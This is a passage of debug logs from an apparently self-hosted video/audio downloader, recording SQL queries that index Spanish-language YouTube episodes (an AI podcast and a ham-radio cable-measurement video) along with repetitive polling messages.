s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:35:50.388 [debug] QUERY OK source="media_items" db=0.6ms idle=624.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-04 06:22:35Z], 2] 22:35:50.390 [debug] QUERY OK source="media_items" db=1.1ms idle=625.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hoy te explicamos de que va esto, hoy os hablamos de Salud, dejamos descansar una semana a las IA’s, pero no al hashtag #IAMIQUE, por que esto te interesa pero mucho. Además de que la IA esta afectando muy positivamente a este indicador.\n\nMi esperanza de vida en el 2000 era 78 años, hoy es de 81…. porque ??? por la LEV, te lo explicamos en el video.\n\nTodos estos datos que os voy a dar se publican y los puedes consultar, Te dejo los enlaces en el primer cometario:\n🔸Organización mundial de la salud, datos de esperanza de vida y esperanza de vida saludable. \n🔸Wikipedia: Longevity escape velocity. \n🔸2029: The year we reach longevity escape velocity. \n🔸Next Big Future: \n🔸Revgen: Healthspan – El palabro que no conoces y deberías. \n\nBueno deja de leer lo importante es que veas el video ... y\n.... y acuérdate un favorcillo🙏🏼: \n\n👐🏼 Dale a Compartir para darnos visibilidad\n✍🏼 Escribe un comentario y da feedback para que podamos saber tu opinión y mejorar\n🫶🏼 y ya la leche.... darnos un like (o no)\n🫵🏼 y siempre .... contamos contigo\n\n\n💪🏻🚀 \"See you in the future\" 😉", "EP. 5: ¿Vivir para siempre? Amortalidad.", "f7973f04-2823-49a1-8d86-f49c57ba865e", 501, false, "-WFFbOPVDXM", "https://www.youtube.com/watch?v=-WFFbOPVDXM", 45, "/downloads/music/IA mí QUÉ/EP. 5: ¿Vivir para siempre? Amortalidad..m4a", false, false, false, 2, [], 96, ~U[2025-04-04 06:22:35Z], ~U[2026-02-07 21:35:50Z], ~U[2026-02-07 21:35:50Z], "Hoy te explicamos de que va esto, hoy os hablamos de Salud, dejamos descansar una semana a las IA’s, pero no al hashtag #IAMIQUE, por que esto te interesa pero mucho. Además de que la IA esta afectando muy positivamente a este indicador.\n\nMi esperanza de vida en el 2000 era 78 años, hoy es de 81…. porque ??? por la LEV, te lo explicamos en el video.\n\nTodos estos datos que os voy a dar se publican y los puedes consultar, Te dejo los enlaces en el primer cometario:\n🔸Organización mundial de la salud, datos de esperanza de vida y esperanza de vida saludable. \n🔸Wikipedia: Longevity escape velocity. \n🔸2029: The year we reach longevity escape velocity. \n🔸Next Big Future: \n🔸Revgen: Healthspan – El palabro que no conoces y deberías. \n\nBueno deja de leer lo importante es que veas el video ... y\n.... y acuérdate un favorcillo🙏🏼: \n\n👐🏼 Dale a Compartir para darnos visibilidad\n✍🏼 Escribe un comentario y da feedback para que podamos saber tu opinión y mejorar\n🫶🏼 y ya la leche.... darnos un like (o no)\n🫵🏼 y siempre .... contamos contigo\n\n\n💪🏻🚀 \"See you in the future\" 😉", "EP. 5: ¿Vivir para siempre? Amortalidad.", 501, false, "-WFFbOPVDXM", "https://www.youtube.com/watch?v=-WFFbOPVDXM", "/downloads/music/IA mí QUÉ/EP. 5: ¿Vivir para siempre? Amortalidad..m4a", false, 2, ~U[2025-04-04 06:22:35Z]] 22:35:50.390 [debug] QUERY OK source="sources" db=0.6ms idle=627.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:35:50.391 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:35:50.392 [debug] QUERY OK source="media_items" db=0.4ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1355] 22:35:50.392 [debug] Current batch of media processed. Will check again in 1000ms 22:35:50.446 [debug] Current batch of media processed. Will check again in 1000ms 22:35:51.229 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:51.393 [debug] Current batch of media processed. Will check again in 1000ms 22:35:51.447 [debug] Current batch of media processed. Will check again in 1000ms 22:35:52.394 [debug] Current batch of media processed. Will check again in 1000ms 22:35:52.448 [debug] Current batch of media processed. Will check again in 1000ms 22:35:53.395 [debug] Current batch of media processed. Will check again in 1000ms 22:35:53.449 [debug] Current batch of media processed. Will check again in 1000ms 22:35:54.396 [debug] Current batch of media processed. Will check again in 1000ms 22:35:54.450 [debug] Current batch of media processed. Will check again in 1000ms 22:35:55.397 [debug] Current batch of media processed. Will check again in 1000ms 22:35:55.451 [debug] Current batch of media processed. Will check again in 1000ms 22:35:56.398 [debug] Current batch of media processed. Will check again in 1000ms 22:35:56.452 [debug] Current batch of media processed. Will check again in 1000ms 22:35:57.399 [debug] Current batch of media processed. Will check again in 1000ms 22:35:57.453 [debug] Current batch of media processed. Will check again in 1000ms 22:35:58.400 [debug] Current batch of media processed. Will check again in 1000ms 22:35:58.454 [debug] Current batch of media processed. Will check again in 1000ms 22:35:59.401 [debug] Current batch of media processed. Will check again in 1000ms 22:35:59.455 [debug] Current batch of media processed. Will check again in 1000ms 22:36:00.118 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:36:00.402 [debug] Current batch of media processed. Will check again in 1000ms 22:36:00.456 [debug] Current batch of media processed. Will check again in 1000ms 22:36:01.403 [debug] Current batch of media processed. Will check again in 1000ms 22:36:01.457 [debug] Current batch of media processed. Will check again in 1000ms 22:36:02.404 [debug] Current batch of media processed. Will check again in 1000ms 22:36:02.458 [debug] Current batch of media processed. Will check again in 1000ms 22:36:03.405 [debug] Current batch of media processed. Will check again in 1000ms 22:36:03.459 [debug] Current batch of media processed. Will check again in 1000ms 22:36:04.406 [debug] Current batch of media processed. Will check again in 1000ms 22:36:04.460 [debug] Current batch of media processed. Will check again in 1000ms 22:36:05.407 [debug] Current batch of media processed. Will check again in 1000ms 22:36:05.461 [debug] Current batch of media processed. Will check again in 1000ms 22:36:06.408 [debug] Current batch of media processed. Will check again in 1000ms 22:36:06.462 [debug] Current batch of media processed. Will check again in 1000ms 22:36:07.409 [debug] Current batch of media processed. Will check again in 1000ms 22:36:07.463 [debug] Current batch of media processed. Will check again in 1000ms 22:36:08.410 [debug] Current batch of media processed. Will check again in 1000ms 22:36:08.464 [debug] Current batch of media processed. Will check again in 1000ms 22:36:09.411 [debug] Current batch of media processed. Will check again in 1000ms 22:36:09.465 [debug] Current batch of media processed. Will check again in 1000ms 22:36:10.412 [debug] Current batch of media processed. Will check again in 1000ms 22:36:10.466 [debug] Current batch of media processed. Will check again in 1000ms 22:36:11.413 [debug] Current batch of media processed. Will check again in 1000ms 22:36:11.467 [debug] Current batch of media processed. Will check again in 1000ms 22:36:12.414 [debug] Current batch of media processed. Will check again in 1000ms 22:36:12.468 [debug] Current batch of media processed. Will check again in 1000ms 22:36:13.415 [debug] Current batch of media processed. Will check again in 1000ms 22:36:13.469 [debug] Current batch of media processed. Will check again in 1000ms 22:36:14.416 [debug] Current batch of media processed. Will check again in 1000ms 22:36:14.470 [debug] Current batch of media processed. Will check again in 1000ms 22:36:15.417 [debug] Current batch of media processed. Will check again in 1000ms 22:36:15.471 [debug] Current batch of media processed. Will check again in 1000ms 22:36:16.418 [debug] Current batch of media processed. Will check again in 1000ms 22:36:16.472 [debug] Current batch of media processed. Will check again in 1000ms 22:36:17.419 [debug] Current batch of media processed. Will check again in 1000ms 22:36:17.473 [debug] Current batch of media processed. Will check again in 1000ms 22:36:18.420 [debug] Current batch of media processed. Will check again in 1000ms 22:36:18.474 [debug] Current batch of media processed. Will check again in 1000ms 22:36:19.421 [debug] Current batch of media processed. Will check again in 1000ms 22:36:19.475 [debug] Current batch of media processed. Will check again in 1000ms 22:36:20.422 [debug] Current batch of media processed. Will check again in 1000ms 22:36:20.476 [debug] Current batch of media processed. Will check again in 1000ms 22:36:21.231 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:21.423 [debug] Current batch of media processed. Will check again in 1000ms 22:36:21.477 [debug] Current batch of media processed. Will check again in 1000ms 22:36:22.424 [debug] Current batch of media processed. Will check again in 1000ms 22:36:22.478 [debug] Current batch of media processed. Will check again in 1000ms 22:36:23.425 [debug] Current batch of media processed. Will check again in 1000ms 22:36:23.479 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "He comprado un rollo de cable, y como tengo el nanoVNA vamos a ver si este rollo, comprado muy barato por cierto, cumple con las especificaciones.\n\nReferencia norma MIL C-17 para RG58:\nhttps://www.repeater-builder.com/antenna/cable-specs/rg58-mil-c-17-28c-dated-1985.pdf\n\nDonde compre el rollo de 100 metros de RG58 mostrado:\nhttps://sonicolor.es/cable-rg58cu-metro-21508.html\n\nContenido del video\n\n00:00 - Presentación\n00:37 - Intro canal\n00:55 - El rollo de cable\n04:51 - Tipos dieléctrico\n08:08 - Calibrando el nanoVNA\n13:16 - Midiendo las pérdidas\n18:09 - La normal MIL-C17\n20:30 - Medidas de atenuación\n25:47 - Conclusiones\n\n#rg58 #radioaficionados #nanoVNA #hamradio #attenuation #measure #MIL-C-17\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1708, "filename" => "/downloads/music/ea3grn/133 - MIDIENDO CON NANOVNA UN CABLE RG58 MUY BARATO.m4a", "id" => "GD2kFiqV4CY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=GD2kFiqV4CY", "playlist_index" => 48, "timestamp" => 1712414100, "title" => "133 - MIDIENDO CON NANOVNA UN CABLE RG58 MUY BARATO", "upload_date" => "20240406"} 22:36:23.480 [debug] QUERY OK source="sources" db=0.5ms idle=1717.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:36:23.481 [debug] QUERY OK source="sources" db=0.3ms idle=1718.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:36:23.482 [debug] QUERY OK source="media_items" db=0.5ms idle=1718.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-06 14:35:00Z], 3] 22:36:23.483 [debug] QUERY OK source="media_items" db=1.1ms idle=873.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["He comprado un rollo de cable, y como tengo el nanoVNA vamos a ver si este rollo, comprado muy barato por cierto, cumple con las especificaciones.\n\nReferencia norma MIL C-17 para RG58:\nhttps://www.repeater-builder.com/antenna/cable-specs/rg58-mil-c-17-28c-dated-1985.pdf\n\nDonde compre el rollo de 100 metros de RG58 mostrado:\nhttps://sonicolor.es/cable-rg58cu-metro-21508.html\n\nContenido del video\n\n00:00 - Presentación\n00:37 - Intro canal\n00:55 - El rollo de cable\n04:51 - Tipos dieléctrico\n08:08 - Calibrando el nanoVNA\n13:16 - Midiendo las pérdidas\n18:09 - La normal MIL-C17\n20:30 - Medidas de atenuación\n25:47 - Conclusiones\n\n#rg58 #radioaficionados #nanoVNA #hamradio #attenuation #measure #MIL-C-17\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "133 - MIDIENDO CON NANOVNA UN CABLE RG58 MUY BARATO", "f754064e-8d5e-4f2e-a290-e6fc20028fd4", 1708, false, "GD2kFiqV4CY", "https://www.youtube.com/watch?v=GD2kFiqV4CY", 48, "/downloads/music/ea3grn/133 - MIDIENDO CON NANOVNA UN CABLE RG58 MUY BARATO.m4a", false, false, false, 3, [], 98, ~U[2024-04-06 14:35:00Z], ~U[2026-02-07 21:36:23Z], ~U[2026-02-07 21:36:23Z], "He comprado un rollo de cable, y como tengo el nanoVNA vamos a ver si este rollo, comprado muy barato por cierto, cumple con las especificaciones.\n\nReferencia norma MIL C-17 para RG58:\nhttps://www.repeater-builder.com/antenna/cable-specs/rg58-mil-c-17-28c-dated-1985.pdf\n\nDonde compre el rollo de 100 metros de RG58 mostrado:\nhttps://sonicolor.es/cable-rg58cu-metro-21508.html\n\nContenido del video\n\n00:00 - Presentación\n00:37 - Intro canal\n00:55 - El rollo de cable\n04:51 - Tipos dieléctrico\n08:08 - Calibrando el nanoVNA\n13:16 - Midiendo las pérdidas\n18:09 - La normal MIL-C17\n20:30 - Medidas de atenuación\n25:47 - Conclusiones\n\n#rg58 #radioaficionados #nanoVNA #hamradio #attenuation #measure #MIL-C-17\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "133 - MIDIENDO CON NANOVNA UN CABLE RG58 MUY BARATO", 1708, false, "GD2kFiqV4CY", "https://www.youtube.com/watch?v=GD2kFiqV4CY", "/downloads/music/ea3grn/133 - MIDIENDO CON NANOVNA UN CABLE RG58 MUY BARATO.m4a", false, 3, ~U[2024-04-06 14:35:00Z]] 22:36:23.484 [debug] QUERY OK source="sources" db=0.4ms idle=721.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:36:23.484 [debug] QUERY OK source="media_profiles" db=0.4ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:36:23.485 [debug] QUERY OK source="media_items" db=0.4ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1391] 22:36:23.486 [debug] Current batch of media processed. Will check again in 1000ms 22:36:24.426 [debug] Current batch of media processed. Will check again in 1000ms 22:36:24.486 [debug] Current batch of media processed. Will check again in 1000ms 22:36:25.427 [debug] Current batch of media processed. Will check again in 1000ms 22:36:25.487 [debug] Current batch of media processed. Will check again in 1000ms 22:36:26.428 [debug] Current batch of media processed. Will check again in 1000ms 22:36:26.488 [debug] Current batch of media processed. Will check again in 1000ms 22:36:27.429 [debug] Current batch of media processed. Will check again in 1000ms 22:36:27.489 [debug] Current batch of media processed. Will check again in 1000ms 22:36:28.430 [debug] Current batch of media processed. Will check again in 1000ms 22:36:28.490 [debug] Current batch of media processed. Will check again in 1000ms 22:36:29.431 [debug] Current batch of media processed. Will check again in 1000ms 22:36:29.491 [debug] Current batch of media processed. Will check again in 1000ms 22:36:30.434 [debug] Current batch of media processed. Will check again in 1000ms 22:36:30.492 [debug] Current batch of media processed. Will check again in 1000ms 22:36:31.435 [debug] Current batch of media processed. Will check again in 1000ms 22:36:31.493 [debug] Current batch of media processed. Will check again in 1000ms 22:36:32.436 [debug] Current batch of media processed. Will check again in 1000ms 22:36:32.494 [debug] Current batch of media processed. Will check again in 1000ms 22:36:33.437 [debug] Current batch of media processed. Will check again in 1000ms 22:36:33.495 [debug] Current batch of media processed. Will check again in 1000ms 22:36:34.438 [debug] Current batch of media processed. Will check again in 1000ms 22:36:34.496 [debug] Current batch of media processed. Will check again in 1000ms 22:36:35.439 [debug] Current batch of media processed. Will check again in 1000ms 22:36:35.497 [debug] Current batch of media processed. Will check again in 1000ms 22:36:36.440 [debug] Current batch of media processed. Will check again in 1000ms 22:36:36.498 [debug] Current batch of media processed. Will check again in 1000ms 22:36:37.441 [debug] Current batch of media processed. Will check again in 1000ms 22:36:37.499 [debug] Current batch of media processed. Will check again in 1000ms 22:36:38.442 [debug] Current batch of media processed. Will check again in 1000ms 22:36:38.500 [debug] Current batch of media processed. Will check again in 1000ms 22:36:39.443 [debug] Current batch of media processed. Will check again in 1000ms 22:36:39.501 [debug] Current batch of media processed. Will check again in 1000ms 22:36:40.444 [debug] Current batch of media processed. Will check again in 1000ms 22:36:40.502 [debug] Current batch of media processed. Will check again in 1000ms 22:36:41.445 [debug] Current batch of media processed. Will check again in 1000ms 22:36:41.503 [debug] Current batch of media processed. Will check again in 1000ms 22:36:42.446 [debug] Current batch of media processed. Will check again in 1000ms 22:36:42.504 [debug] Current batch of media processed. Will check again in 1000ms 22:36:43.447 [debug] Current batch of media processed. Will check again in 1000ms 22:36:43.505 [debug] Current batch of media processed. Will check again in 1000ms 22:36:44.448 [debug] Current batch of media processed. Will check again in 1000ms 22:36:44.506 [debug] Current batch of media processed. Will check again in 1000ms 22:36:45.449 [debug] Current batch of media processed. Will check again in 1000ms 22:36:45.507 [debug] Current batch of media processed. Will check again in 1000ms 22:36:46.450 [debug] Current batch of media processed. Will check again in 1000ms 22:36:46.508 [debug] Current batch of media processed. Will check again in 1000ms 22:36:47.451 [debug] Current batch of media processed. Will check again in 1000ms 22:36:47.509 [debug] Current batch of media processed. Will check again in 1000ms 22:36:48.453 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Episodio 4️⃣: Educación con IA 👩🏻\u200D🏫👨🏻\u200D🏫\n🟢¿Eres Madre o Padre? .... y quieres que tus hijos saquen mejores notas?\n🟢¿Estudias? ... y quieres aprender mas en menos tiempo????\n\n💥 Seguro que alguna de las dos, sino son la dos. Este video te va a interesar muuuuuchooo ..... palabra! sino es a ti es a tus hij@s! espabila!\n\nHace un par de meses salió este estudio de Harvard https://lnkd.in/d_RGTGrZ\n\nEn el estudio comparan los resultados de aprendizaje de sus alumnos utilizando un tutor activo de ChatGPT... Hoy te explicamos los pormenores de este estudio y como lo puedes hacer desde ya en tu casa.\n\n💪🏻🚀 \"See you in the future\" 😉\n\nhashtag#IAMIQUE hashtag#CHATGPT hashtag#GPT hashtag#IAGEN hashtag#HARVARD", "duration" => 477, "filename" => "/downloads/music/IA mí QUÉ/EP.4 - Educación con ChatGPT.m4a", "id" => "QDZQva8s0yE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=QDZQva8s0yE", "playlist_index" => 46, "timestamp" => 1743146867, "title" => "EP.4 - Educación con ChatGPT", "upload_date" => "20250328"} 22:36:48.453 [debug] QUERY OK source="sources" db=0.6ms idle=1690.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:36:48.454 [debug] QUERY OK source="sources" db=0.4ms idle=1691.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:36:48.455 [debug] QUERY OK source="media_items" db=0.7ms idle=1691.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-28 07:27:47Z], 2] 22:36:48.456 [debug] QUERY OK source="media_items" db=1.0ms idle=1692.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Episodio 4️⃣: Educación con IA 👩🏻\u200D🏫👨🏻\u200D🏫\n🟢¿Eres Madre o Padre? .... y quieres que tus hijos saquen mejores notas?\n🟢¿Estudias? ... y quieres aprender mas en menos tiempo????\n\n💥 Seguro que alguna de las dos, sino son la dos. Este video te va a interesar muuuuuchooo ..... palabra! sino es a ti es a tus hij@s! espabila!\n\nHace un par de meses salió este estudio de Harvard https://lnkd.in/d_RGTGrZ\n\nEn el estudio comparan los resultados de aprendizaje de sus alumnos utilizando un tutor activo de ChatGPT... Hoy te explicamos los pormenores de este estudio y como lo puedes hacer desde ya en tu casa.\n\n💪🏻🚀 \"See you in the future\" 😉\n\nhashtag#IAMIQUE hashtag#CHATGPT hashtag#GPT hashtag#IAGEN hashtag#HARVARD", "EP.4 - Educación con ChatGPT", "d76f735f-4201-4518-9b93-0bf0c2d0fa7c", 477, false, "QDZQva8s0yE", "https://www.youtube.com/watch?v=QDZQva8s0yE", 46, "/downloads/music/IA mí QUÉ/EP.4 - Educación con ChatGPT.m4a", false, false, false, 2, [], 92, ~U[2025-03-28 07:27:47Z], ~U[2026-02-07 21:36:48Z], ~U[2026-02-07 21:36:48Z], "Episodio 4️⃣: Educación con IA 👩🏻\u200D🏫👨🏻\u200D🏫\n🟢¿Eres Madre o Padre? .... y quieres que tus hijos saquen mejores notas?\n🟢¿Estudias? ... y quieres aprender mas en menos tiempo????\n\n💥 Seguro que alguna de las dos, sino son la dos. Este video te va a interesar muuuuuchooo ..... palabra! sino es a ti es a tus hij@s! espabila!\n\nHace un par de meses salió este estudio de Harvard https://lnkd.in/d_RGTGrZ\n\nEn el estudio comparan los resultados de aprendizaje de sus alumnos utilizando un tutor activo de ChatGPT... Hoy te explicamos los pormenores de este estudio y como lo puedes hacer desde ya en tu casa.\n\n💪🏻🚀 \"See you in the future\" 😉\n\nhashtag#IAMIQUE hashtag#CHATGPT hashtag#GPT hashtag#IAGEN hashtag#HARVARD", "EP.4 - Educación con ChatGPT", 477, false, "QDZQva8s0yE", "https://www.youtube.com/watch?v=QDZQva8s0yE", "/downloads/music/IA mí QUÉ/EP.4 - Educación con ChatGPT.m4a", false, 2, ~U[2025-03-28 07:27:47Z]] 22:36:48.457 [debug] QUERY OK source="sources" db=0.4ms idle=802.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", 